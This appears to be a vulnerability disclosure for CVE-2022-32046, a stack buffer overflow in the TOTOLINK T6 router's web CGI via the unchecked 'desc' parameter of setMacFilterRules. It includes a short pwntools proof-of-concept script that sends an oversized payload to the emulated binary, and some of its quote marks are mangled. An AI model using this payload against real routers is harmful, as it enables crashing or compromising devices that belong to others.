Headline
CVE-2022-32046: IoT-vuln/Totolink/T6-v2/8.setMacFilterRules at main · d1tto/IoT-vuln
TOTOLINK T6 V4.1.9cu.5179_B20201015 was discovered to contain a stack overflow via the desc parameter in the function FUN_0041880c.
The vulnerability exists in the router’s WEB component. /web_cste/cgi-bin/cstecgi.cgi FUN_0041880c (at address 0x41880c) gets the JSON parameter desc, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:
from pwn import * import json
data = { "topicurl": "setting/setMacFilterRules", "addEffect": "1", "enable": "1", "mac": "00:00:00:00:00:00", "desc": 'A’*0x400 }
data = json.dumps(data) print(data)
argv = [ "qemu-mipsel-static", "-g", "1234", "-L", "./root/", "-E", "CONTENT_LENGTH={}".format(len(data)), "-E", "REMOTE_ADDR=192.168.2.1", “./cstecgi.cgi” ]
a = process(argv=argv) a.sendline(data.encode())
a.interactive()